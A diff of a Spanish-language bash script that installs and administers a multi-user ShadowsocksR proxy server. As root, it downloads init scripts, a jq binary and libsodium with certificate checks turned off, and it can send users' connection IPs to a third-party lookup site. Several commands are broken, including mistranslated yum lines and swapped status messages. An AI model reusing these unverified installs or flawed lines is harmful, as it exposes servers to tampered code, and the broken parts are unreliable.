+	stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_transfer
+	[[ -z "$ssr_transfer" ]] && ssr_transfer="838868" && echo && break
+	expr ${ssr_transfer} + 0 &>/dev/null
+	if [[ $? == 0 ]]; then
+		if [[ ${ssr_transfer} -ge 1 ]] && [[ ${ssr_transfer} -le 838868 ]]; then
+			echo && echo -e "	Trafico Total Para El Usuario: ${Green_font_prefix}${ssr_transfer} GB${Font_color_suffix}" && echo
+			break
+		else
+			echo -e "${Error} Por favor ingrese el numero correcto (1-838868)"
+		fi
+	else
+		echo -e "${Error} Por favor ingrese el numero correcto (1-838868)"
+	fi
+	done
+}
+Set_config_forbid(){
+msg -bar
+	echo "PROIBIR PUERTOS"
+msg -bar
+	echo -e "${Tip} Puertos prohibidos:\n Por ejemplo, si no permite el acceso al puerto 25, los\n usuarios no podran acceder al puerto de correo 25 a\n traves del proxy de SSR. Si 80,443 esta desactivado,\n los usuarios no podran acceda a los sitios\n http/https normalmente."
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: permitir todo):" ssr_forbid
+	[[ -z "${ssr_forbid}" ]] && ssr_forbid=""
+	echo && echo -e "	Puerto prohibido: ${Green_font_prefix}${ssr_forbid}${Font_color_suffix}" && echo
+}
+Set_config_enable(){
+	user_total=$(expr ${user_total} - 1)
+	for((integer = 0; integer <= ${user_total}; integer++))
+	do
+		echo -e "integer=${integer}"
+		port_jq=$(${jq_file} ".[${integer}].port" "${config_user_mudb_file}")
+		echo -e "port_jq=${port_jq}"
+		if [[ "${ssr_port}" == "${port_jq}" ]]; then
+			enable=$(${jq_file} ".[${integer}].enable" "${config_user_mudb_file}")
+			echo -e "enable=${enable}"
+			[[ "${enable}" == "null" ]] && echo -e "${Error} Obtenga el puerto actual [${ssr_port}] Estado deshabilitado fallido!" && exit 1
+			ssr_port_num=$(cat "${config_user_mudb_file}"|grep -n '"puerto": '${ssr_port}','|awk -F ":" '{print $1}')
+			echo -e "ssr_port_num=${ssr_port_num}"
+			[[ "${ssr_port_num}" == "null" ]] && echo -e "${Error}Obtener actual Puerto [${ssr_port}] Numero de filas fallidas!" && exit 1
+			ssr_enable_num=$(expr ${ssr_port_num} - 5)
+			echo -e "ssr_enable_num=${ssr_enable_num}"
+			break
+		fi
+	done
+	if [[ "${enable}" == "1" ]]; then
+		echo -e "Puerto [${ssr_port}] El estado de la cuenta es: ${Green_font_prefix}Enabled ${Font_color_suffix} , Cambiar a ${Red_font_prefix}Disabled${Font_color_suffix} ?[Y/n]"
+		stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn
+		[[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn="y"
+		if [[ "${ssr_enable_yn}" == [Yy] ]]; then
+			ssr_enable="0"
+		else
+			echo -e "Cancelado...\n$(msg -bar)" && exit 0
+		fi
+	elif [[ "${enable}" == "0" ]]; then
+		echo -e "Port [${ssr_port}] El estado de la cuenta:${Green_font_prefix}Habilitado ${Font_color_suffix} , Cambie a ${Red_font_prefix}Deshabilitado${Font_color_suffix} ?[Y/n]"
+		stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn
+		[[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn = "y"
+		if [[ "${ssr_enable_yn}" == [Yy] ]]; then
+			ssr_enable="1"
+		else
+			echo "Cancelar ..." && exit 0
+		fi
+	else
+		echo -e "${Error} El actual estado de discapacidad de Puerto es anormal.[${enable}] !" && exit 1
+	fi
+}
+Set_user_api_server_pub_addr(){
+	addr=$1
+	if [[ "${addr}" == "Modify" ]]; then
+		server_pub_addr=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}')
+		if [[ -z ${server_pub_addr} ]]; then
+			echo -e "${Error} La IP del servidor o el nombre de dominio obtenidos fallaron!" && exit 1
+		else
+			echo -e "${Info} La IP del servidor o el nombre de dominio actualmente configurados es ${Green_font_prefix}${server_pub_addr}${Font_color_suffix}"
+		fi
+	fi
+	echo "Introduzca la IP del servidor o el nombre de dominio que se mostrara en la configuracion del usuario (cuando el servidor tiene varias IP, puede especificar la IP o el nombre de dominio que se muestra en la configuracion del usuario)"
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado:Deteccion automatica de la red externa IP):" ssr_server_pub_addr
+	if [[ -z "${ssr_server_pub_addr}" ]]; then
+		Get_IP
+		if [[ ${ip} == "VPS_IP" ]]; then
+			while true
+			do
+			stty erase '^H' && read -p "${Error} La deteccion automatica de la IP de la red externa fallo, ingrese manualmente la IP del servidor o el nombre de dominio" ssr_server_pub_addr
+			if [[ -z "$ssr_server_pub_addr" ]]; then
+				echo -e "${Error}No puede estar vacio!"
+			else
+				break
+			fi
+			done
+		else
+			ssr_server_pub_addr="${ip}"
+		fi
+	fi
+	echo && msg -bar && echo -e "	IP o nombre de dominio: ${Green_font_prefix}${ssr_server_pub_addr}${Font_color_suffix}" && msg -bar && echo
+}
+Set_config_all(){
+	lal=$1
+	if [[ "${lal}" == "Modify" ]]; then
+		Set_config_password
+		Set_config_method
+		Set_config_protocol
+		Set_config_obfs
+		Set_config_protocol_param
+		Set_config_speed_limit_per_con
+		Set_config_speed_limit_per_user
+		Set_config_transfer
+		Set_config_forbid
+	else
+		Set_config_user
+		Set_config_port
+		Set_config_password
+		Set_config_method
+		Set_config_protocol
+		Set_config_obfs
+		Set_config_protocol_param
+		Set_config_speed_limit_per_con
+		Set_config_speed_limit_per_user
+		Set_config_transfer
+		Set_config_forbid
+	fi
+}
+#Modificar la información de configuración
+Modify_config_password(){
+	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -k "${ssr_password}"|grep -w "edit user ")
+	if [[ -z "${match_edit}" ]]; then
+		echo -e "${Error} Fallo la modificacion de la contrasena del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
+	else
+		echo -e "${Info} La contrasena del usuario se modifico correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Puede tardar unos 10 segundos aplicar la ultima configuracion)"
+	fi
+}
+Modify_config_method(){
+	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -m "${ssr_method}"|grep -w "edit user ")
+	if [[ -z "${match_edit}" ]]; then
+		echo -e "${Error} La modificacion del metodo de cifrado del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
+	else
+		echo -e "${Info} Modo de cifrado de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Note: Nota: la configuracion mas reciente puede demorar unos 10 segundos)"
+	fi
+}
+Modify_config_protocol(){
+	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -O "${ssr_protocol}"|grep -w "edit user ")
+	if [[ -z "${match_edit}" ]]; then
+		echo -e "${Error} Fallo la modificacion del protocolo de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
+	else
+		echo -e "${Info} Acuerdo de usuario modificacion exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion más reciente puede demorar unos 10 segundos)"
+	fi
+}
+Modify_config_obfs(){
+	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -o "${ssr_obfs}"|grep -w "edit user ")
+	if [[ -z "${match_edit}" ]]; then
+		echo -e "${Error} La modificacion de la confusion del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
+	else
+		echo -e "${Info} Confusion del usuario exito de modificacion ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: La aplicacion de la ultima configuracion puede demorar unos 10 segundos)"
+	fi
+}
+Modify_config_protocol_param(){
+	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -G "${ssr_protocol_param}"|grep -w "edit user ")
+	if [[ -z "${match_edit}" ]]; then
+		echo -e "${Error} Fallo la modificacion del parametro del protocolo del usuario (numero de dispositivos limite) ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
+	else
+		echo -e "${Info} Parametros de negociación del usuario (numero de dispositivos limite) modificados correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)"
+	fi
+}
+Modify_config_speed_limit_per_con(){
+	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -s "${ssr_speed_limit_per_con}"|grep -w "edit user ")
+	if [[ -z "${match_edit}" ]]; then
+		echo -e "${Error} Fallo la modificacion de la velocidad de un solo hilo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
+	else
+		echo -e "${Info} Modificacion de la velocidad de un solo hilo exitosa ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)"
+	fi
+}
+Modify_config_speed_limit_per_user(){
+	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -S "${ssr_speed_limit_per_user}"|grep -w "edit user ")
+	if [[ -z "${match_edit}" ]]; then
+		echo -e "${Error} Usuario Puerto la modificación del limite de velocidad total fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
+	else
+		echo -e "${Info} Usuario Puerto limite de velocidad total modificado con exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)"
+	fi
+}
+Modify_config_connect_verbose_info(){
+	sed -i 's/"connect_verbose_info": '"$(echo ${connect_verbose_info})"',/"connect_verbose_info": '"$(echo ${ssr_connect_verbose_info})"',/g' ${config_user_file}
+}
+Modify_config_transfer(){
+	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -t "${ssr_transfer}"|grep -w "edit user ")
+	if [[ -z "${match_edit}" ]]; then
+		echo -e "${Error} La modificacion de trafico total del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
+	else
+		echo -e "${Info} Trafico total del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)"
+	fi
+}
+Modify_config_forbid(){
+	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -f "${ssr_forbid}"|grep -w "edit user ")
+	if [[ -z "${match_edit}" ]]; then
+		echo -e "${Error} La modificacion del puerto prohibido por el usuario ha fallado ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
+	else
+		echo -e "${Info} Los puertos prohibidos por el usuario se modificaron correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)"
+	fi
+}
+Modify_config_enable(){
+	sed -i "${ssr_enable_num}"'s/"enable": '"$(echo ${enable})"',/"enable": '"$(echo ${ssr_enable})"',/' ${config_user_mudb_file}
+}
+Modify_user_api_server_pub_addr(){
+	sed -i "s/SERVER_PUB_ADDR = '${server_pub_addr}'/SERVER_PUB_ADDR = '${ssr_server_pub_addr}'/" ${config_user_api_file}
+}
+Modify_config_all(){
+	Modify_config_password
+	Modify_config_method
+	Modify_config_protocol
+	Modify_config_obfs
+	Modify_config_protocol_param
+	Modify_config_speed_limit_per_con
+	Modify_config_speed_limit_per_user
+	Modify_config_transfer
+	Modify_config_forbid
+}
+Check_python(){
+	python_ver=`python -h`
+	if [[ -z ${python_ver} ]]; then
+		echo -e "${Info} No instalo Python, comience a instalar ..."
+		if [[ ${release} == "centos" ]]; then
+			yum install -y python
+		else
+			apt-get install -y python
+		fi
+	fi
+}
+Centos_yum(){
+	yum update
+	cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null
+	if [[ $? = 0 ]]; then
+		yum install -y vim unzip crond net-tools git
+	else
+		yum install -y vim unzip crond git
+	fi
+}
+Debian_apt(){
+	apt-get update
+	apt-get install -y vim unzip cron git net-tools
+}
+#Descargar ShadowsocksR
+Download_SSR(){
+	cd "/usr/local"
+	# wget -N --no-check-certificate "https://github.com/ToyoDAdoubi/shadowsocksr/archive/manyuser.zip"
+	#git config --global http.sslVerify false
+	git clone -b akkariiin/master https://github.com/shadowsocksrr/shadowsocksr.git
+	[[ ! -e ${ssr_folder} ]] && echo -e "${Error} Fallo la descarga del servidor ShadowsocksR!" && exit 1
+	# [[ ! -e "manyuser.zip" ]] && echo -e "${Error} Fallo la descarga del paquete de compresion lateral ShadowsocksR !" && rm -rf manyuser.zip && exit 1
+	# unzip "manyuser.zip"
+	# [[ ! -e "/usr/local/shadowsocksr-manyuser/" ]] && echo -e "${Error} Fallo la descompresión del servidor ShadowsocksR !" && rm -rf manyuser.zip && exit 1
+	# mv "/usr/local/shadowsocksr-manyuser/" "/usr/local/shadowsocksr/"
+	# [[ ! -e "/usr/local/shadowsocksr/" ]] && echo -e "${Error} Fallo el cambio de nombre del servidor ShadowsocksR!" && rm -rf manyuser.zip && rm -rf "/usr/local/shadowsocksr-manyuser/" && exit 1
+	# rm -rf manyuser.zip
+	cd "shadowsocksr"
+	cp "${ssr_folder}/config.json" "${config_user_file}"
+	cp "${ssr_folder}/mysql.json" "${ssr_folder}/usermysql.json"
+	cp "${ssr_folder}/apiconfig.py" "${config_user_api_file}"
+	[[ ! -e ${config_user_api_file} ]] && echo -e "${Error} Fallo la replicacion apiconfig.py del servidor ShadowsocksR!" && exit 1
+	sed -i "s/API_INTERFACE = 'sspanelv2'/API_INTERFACE = 'mudbjson'/" ${config_user_api_file}
+	server_pub_addr="127.0.0.1"
+	Modify_user_api_server_pub_addr
+	#sed -i "s/SERVER_PUB_ADDR = '127.0.0.1'/SERVER_PUB_ADDR = '${ip}'/" ${config_user_api_file}
+	sed -i 's/ \/\/ only works under multi-user mode//g' "${config_user_file}"
+	echo -e "${Info} Descarga del servidor ShadowsocksR completa!"
+}
+Service_SSR(){
+	if [[ ${release} = "centos" ]]; then
+		if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_centos -O /etc/init.d/ssrmu; then
+			echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracion de servicios de ShadowsocksR!" && exit 1
+		fi
+		chmod +x /etc/init.d/ssrmu
+		chkconfig --add ssrmu
+		chkconfig ssrmu on
+	else
+		if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_debian -O /etc/init.d/ssrmu; then
+			echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracion de servicio de ShadowsocksR!" && exit 1
+		fi
+		chmod +x /etc/init.d/ssrmu
+		update-rc.d -f ssrmu defaults
+	fi
+	echo -e "${Info} ShadowsocksR Service Management Script Descargar Descargar!"
+}
+#Instalar el analizador JQ
+JQ_install(){
+	if [[ ! -e ${jq_file} ]]; then
+		cd "${ssr_folder}"
+		if [[ ${bit} = "x86_64" ]]; then
+			# mv "jq-linux64" "jq"
+			wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64" -O ${jq_file}
+		else
+			# mv "jq-linux32" "jq"
+			wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux32" -O ${jq_file}
+		fi
+		[[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser, por favor!" && exit 1
+		chmod +x ${jq_file}
+		echo -e "${Info} La instalacion del analizador JQ se ha completado, continuar ..." 
+	else
+		echo -e "${Info} JQ parser esta instalado, continuar ..."
+	fi
+}
+#Instalacion
+Installation_dependency(){
+	if [[ ${release} == "centos" ]]; then
+		Centos_yum
+	else
+		Debian_apt
+	fi
+	[[ ! -e "/usr/bin/unzip" ]] && echo -e "${Error} Dependiente de la instalacion de descomprimir (paquete comprimido) fallo, en su mayoria problema, por favor verifique!" && exit 1
+	Check_python
+	#echo "nameserver 8.8.8.8" > /etc/resolv.conf
+	#echo "nameserver 8.8.4.4" >> /etc/resolv.conf
+	cp -f /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
+	if [[ ${release} == "centos" ]]; then
+		/etc/init.d/crond restart
+	else
+		/etc/init.d/cron restart
+	fi
+}
+Install_SSR(){
+clear
+	check_root
+	msg -bar
+	[[ -e ${ssr_folder} ]] && echo -e "${Error}\nLa carpeta ShadowsocksR ha sido creada, por favor verifique\n(si la instalacion falla, desinstalela primero) !\n$(msg -bar)" && exit 1 
+	echo -e "${Info}\nComience la configuracion de la cuenta de ShadowsocksR..."
+msg -bar
+	Set_user_api_server_pub_addr
+	Set_config_all
+	echo -e "${Info} Comience a instalar / configurar las dependencias de ShadowsocksR ..."
+	Installation_dependency
+	echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR File ..."
+	Download_SSR
+	echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR Service Script(init)..."
+	Service_SSR
+	echo -e "${Info} Iniciar descarga / instalar JSNO Parser JQ ..."
+	JQ_install
+	echo -e "${Info} Comience a agregar usuario inicial ..."
+	Add_port_user "install"
+	echo -e "${Info} Empezar a configurar el firewall de iptables ..."
+	Set_iptables
+	echo -e "${Info} Comience a agregar reglas de firewall de iptables ..."
+	Add_iptables
+	echo -e "${Info} Comience a guardar las reglas del servidor de seguridad de iptables ..."
+	Save_iptables
+	echo -e "${Info} Todos los pasos para iniciar el servicio ShadowsocksR ..."
+	Start_SSR
+	Get_User_info "${ssr_port}"
+	View_User_info
+
+}
+Update_SSR(){
+	SSR_installation_status
+	# echo -e "Debido a que el bebé roto actualiza el servidor ShadowsocksR, entonces."
+	cd ${ssr_folder}
+	git pull
+	Restart_SSR
+
+}
+Uninstall_SSR(){
+	[[ ! -e ${ssr_folder} ]] && echo -e "${Error} ShadowsocksR no esta instalado, por favor, compruebe!\n$(msg -bar)" && exit 1
+	echo "Desinstalar ShadowsocksR [y/n]"
+msg -bar 
+	stty erase '^H' && read -p "(Predeterminado: n):" unyn
+msg -bar
+	[[ -z ${unyn} ]] && unyn="n"
+	if [[ ${unyn} == [Yy] ]]; then
+		check_pid
+		[[ ! -z "${PID}" ]] && kill -9 ${PID}
+		user_info=$(python mujson_mgr.py -l)
+		user_total=$(echo "${user_info}"|wc -l)
+		if [[ ! -z ${user_info} ]]; then
+			for((integer = 1; integer <= ${user_total}; integer++))
+			do
+				port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}')
+				Del_iptables
+			done
+		fi
+		if [[ ${release} = "centos" ]]; then
+			chkconfig --del ssrmu
+		else
+			update-rc.d -f ssrmu remove
+		fi
+		rm -rf ${ssr_folder} && rm -rf /etc/init.d/ssrmu
+		echo && echo " Desinstalacion de ShadowsocksR completada!" && echo
+	else
+		echo && echo "Desinstalar cancelado ..." && echo
+	fi
+
+}
+Check_Libsodium_ver(){
+	echo -e "${Info} Descargando la ultima version de libsodium"
+	#Libsodiumr_ver=$(wget -qO- "https://github.com/jedisct1/libsodium/tags"|grep "/jedisct1/libsodium/releases/tag/"|head -1|sed -r 's/.*tag\/(.+)\">.*/\1/')
+	Libsodiumr_ver=1.0.17
+	[[ -z ${Libsodiumr_ver} ]] && Libsodiumr_ver=${Libsodiumr_ver_backup}
+	echo -e "${Info} La ultima version de libsodium es ${Green_font_prefix}${Libsodiumr_ver}${Font_color_suffix} !"
+}
+Install_Libsodium(){
+	if [[ -e ${Libsodiumr_file} ]]; then
+		echo -e "${Error} libsodium ya instalado, quieres actualizar?[y/N]"
+		stty erase '^H' && read -p "(Default: n):" yn
+		[[ -z ${yn} ]] && yn="n"
+		if [[ ${yn} == [Nn] ]]; then
+			echo -e "Cancelado...\n$(msg -bar)" && exit 1
+		fi
+	else
+		echo -e "${Info} libsodium no instalado, instalacion iniciada ..."
+	fi
+	Check_Libsodium_ver
+	if [[ ${release} == "centos" ]]; then
+		yum -y actualizacion
+		echo -e "${Info} La instalacion depende de ..."
+		yum -y groupinstall "Herramientas de desarrollo"
+		echo -e "${Info} Descargar ..."
+		wget  --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz"
+		echo -e "${Info} Descomprimir ..."
+		tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver}
+		echo -e "${Info} Compilar e instalar ..."
+		./configure --disable-maintainer-mode && make -j2 && make install
+		echo /usr/local/lib > /etc/ld.so.conf.d/usr_local_lib.conf
+	else
+		apt-get update
+		echo -e "${Info} La instalacion depende de ..."
+		apt-get install -y build-essential
+		echo -e "${Info} Descargar ..."
+		wget  --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz"
+		echo -e "${Info} Descomprimir ..."
+		tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver}
+		echo -e "${Info} Compilar e instalar ..."
+		./configure --disable-maintainer-mode && make -j2 && make install
+	fi
+	ldconfig
+	cd .. && rm -rf libsodium-${Libsodiumr_ver}.tar.gz && rm -rf libsodium-${Libsodiumr_ver}
+	[[ ! -e ${Libsodiumr_file} ]] && echo -e "${Error} libsodium Instalacion fallida!" && exit 1
+	echo && echo -e "${Info} libsodium exito de instalacion!" && echo
+msg -bar
+}
+#Mostrar información de conexión
+debian_View_user_connection_info(){
+	format_1=$1
+	user_info=$(python mujson_mgr.py -l)
+	user_total=$(echo "${user_info}"|wc -l)
+	[[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1
+	IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u |wc -l`
+	user_list_all=""
+	for((integer = 1; integer <= ${user_total}; integer++))
+	do
+		user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}')
+		user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |grep ":${user_port} " |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u`
+		if [[ -z ${user_IP_1} ]]; then
+			user_IP_total="0"
+		else
+			user_IP_total=`echo -e "${user_IP_1}"|wc -l`
+			if [[ ${format_1} == "IP_address" ]]; then
+				get_IP_address
+			else
+				user_IP=`echo -e "\n${user_IP_1}"`
+			fi
+		fi
+		user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n"
+		user_IP=""
+	done
+	echo -e "Numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} Numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix}\n"
+	echo -e "${user_list_all}"
+msg -bar 
+}
+centos_View_user_connection_info(){
+	format_1=$1
+	user_info=$(python mujson_mgr.py -l)
+	user_total=$(echo "${user_info}"|wc -l)
+	[[ -z ${user_info} ]] && echo -e "${Error} No encontrado, por favor revise!" && exit 1
+	IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' | grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u |wc -l`
+	user_list_all=""
+	for((integer = 1; integer <= ${user_total}; integer++))
+	do
+		user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}')
+		user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' |grep ":${user_port} "|grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u`
+		if [[ -z ${user_IP_1} ]]; then
+			user_IP_total="0"
+		else
+			user_IP_total=`echo -e "${user_IP_1}"|wc -l`
+			if [[ ${format_1} == "IP_address" ]]; then
+				get_IP_address
+			else
+				user_IP=`echo -e "\n${user_IP_1}"`
+			fi
+		fi
+		user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n"
+		user_IP=""
+	done
+	echo -e "El numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} El numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix} "
+	echo -e "${user_list_all}"
+}
+View_user_connection_info(){
+clear
+	SSR_installation_status
+	msg -bar
+	 echo -e "Seleccione el formato para mostrar :
+$(msg -bar)
+ ${Green_font_prefix}1.${Font_color_suffix} Mostrar IP 
+
+ ${Green_font_prefix}2.${Font_color_suffix} Mostrar IP + Resolver el nombre DNS"
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: 1):" ssr_connection_info
+msg -bar
+	[[ -z "${ssr_connection_info}" ]] && ssr_connection_info="1"
+	if [[ ${ssr_connection_info} == "1" ]]; then
+		View_user_connection_info_1 ""
+	elif [[ ${ssr_connection_info} == "2" ]]; then
+		echo -e "${Tip} Detectar IP (ipip.net)puede llevar mas tiempo si hay muchas IPs"
+msg -bar
+		View_user_connection_info_1 "IP_address"
+	else
+		echo -e "${Error} Ingrese el numero correcto(1-2)" && exit 1
+	fi
+}
+View_user_connection_info_1(){
+	format=$1
+	if [[ ${release} = "centos" ]]; then
+		cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null
+		if [[ $? = 0 ]]; then
+			debian_View_user_connection_info "$format"
+		else
+			centos_View_user_connection_info "$format"
+		fi
+	else
+		debian_View_user_connection_info "$format"
+	fi
+}
+get_IP_address(){
+	#echo "user_IP_1=${user_IP_1}"
+	if [[ ! -z ${user_IP_1} ]]; then
+	#echo "user_IP_total=${user_IP_total}"
+		for((integer_1 = ${user_IP_total}; integer_1 >= 1; integer_1--))
+		do
+			IP=`echo "${user_IP_1}" |sed -n "$integer_1"p`
+			#echo "IP=${IP}"
+			IP_address=`wget -qO- -t1 -T2 http://freeapi.ipip.net/${IP}|sed 's/\"//g;s/,//g;s/\[//g;s/\]//g'`
+			#echo "IP_address=${IP_address}"
+			user_IP="${user_IP}\n${IP}(${IP_address})"
+			#echo "user_IP=${user_IP}"
+			sleep 1s
+		done
+	fi
+}
+#Modificar la configuración del usuario
+Modify_port(){
+msg -bar
+	List_port_user
+	while true
+	do
+		echo -e "Por favor ingrese el usuario (Puerto) que tiene que ser modificado" 
+msg -bar
+		stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_port
+		[[ -z "${ssr_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1
+		Modify_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${ssr_port}"',')
+		if [[ ! -z ${Modify_user} ]]; then
+			break
+		else
+			echo -e "${Error} Puerto Introduzca el Puerto correcto!"
+		fi
+	done
+}
+Modify_Config(){
+clear
+	SSR_installation_status
+	echo && echo -e "    ###¿Que desea realizar?###Mod By @Kalix1
+$(msg -bar)
+ ${Green_font_prefix}1.${Font_color_suffix}  Agregar y Configurar Usuario
+ ${Green_font_prefix}2.${Font_color_suffix}  Eliminar la Configuracion del Usuario
+————————— Modificar la Configuracion del Usuario ————
+ ${Green_font_prefix}3.${Font_color_suffix}  Modificar contrasena de Usuario
+ ${Green_font_prefix}4.${Font_color_suffix}  Modificar el metodo de Cifrado
+ ${Green_font_prefix}5.${Font_color_suffix}  Modificar el Protocolo
+ ${Green_font_prefix}6.${Font_color_suffix}  Modificar Ofuscacion
+ ${Green_font_prefix}7.${Font_color_suffix}  Modificar el Limite de Dispositivos
+ ${Green_font_prefix}8.${Font_color_suffix}  Modificar el Limite de Velocidad de un solo Hilo
+ ${Green_font_prefix}9.${Font_color_suffix}  Modificar limite de Velocidad Total del Usuario
+ ${Green_font_prefix}10.${Font_color_suffix} Modificar el Trafico Total del Usuario
+ ${Green_font_prefix}11.${Font_color_suffix} Modificar los Puertos Prohibidos Del usuario
+ ${Green_font_prefix}12.${Font_color_suffix} Modificar la Configuracion Completa
+————————— Otras Configuraciones —————————
+ ${Green_font_prefix}13.${Font_color_suffix} Modificar la IP o el nombre de dominio que\n se muestra en el perfil del usuario
+$(msg -bar)
+ ${Tip} El nombre de usuario y el puerto del usuario\n no se pueden modificar. Si necesita modificarlos, use\n el script para modificar manualmente la funcion !"
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_modify
+	[[ -z "${ssr_modify}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1
+	if [[ ${ssr_modify} == "1" ]]; then
+		Add_port_user
+	elif [[ ${ssr_modify} == "2" ]]; then
+		Del_port_user
+	elif [[ ${ssr_modify} == "3" ]]; then
+		Modify_port
+		Set_config_password
+		Modify_config_password
+	elif [[ ${ssr_modify} == "4" ]]; then
+		Modify_port
+		Set_config_method
+		Modify_config_method
+	elif [[ ${ssr_modify} == "5" ]]; then
+		Modify_port
+		Set_config_protocol
+		Modify_config_protocol
+	elif [[ ${ssr_modify} == "6" ]]; then
+		Modify_port
+		Set_config_obfs
+		Modify_config_obfs
+	elif [[ ${ssr_modify} == "7" ]]; then
+		Modify_port
+		Set_config_protocol_param
+		Modify_config_protocol_param
+	elif [[ ${ssr_modify} == "8" ]]; then
+		Modify_port
+		Set_config_speed_limit_per_con
+		Modify_config_speed_limit_per_con
+	elif [[ ${ssr_modify} == "9" ]]; then
+		Modify_port
+		Set_config_speed_limit_per_user
+		Modify_config_speed_limit_per_user
+	elif [[ ${ssr_modify} == "10" ]]; then
+		Modify_port
+		Set_config_transfer
+		Modify_config_transfer
+	elif [[ ${ssr_modify} == "11" ]]; then
+		Modify_port
+		Set_config_forbid
+		Modify_config_forbid
+	elif [[ ${ssr_modify} == "12" ]]; then
+		Modify_port
+		Set_config_all "Modify"
+		Modify_config_all
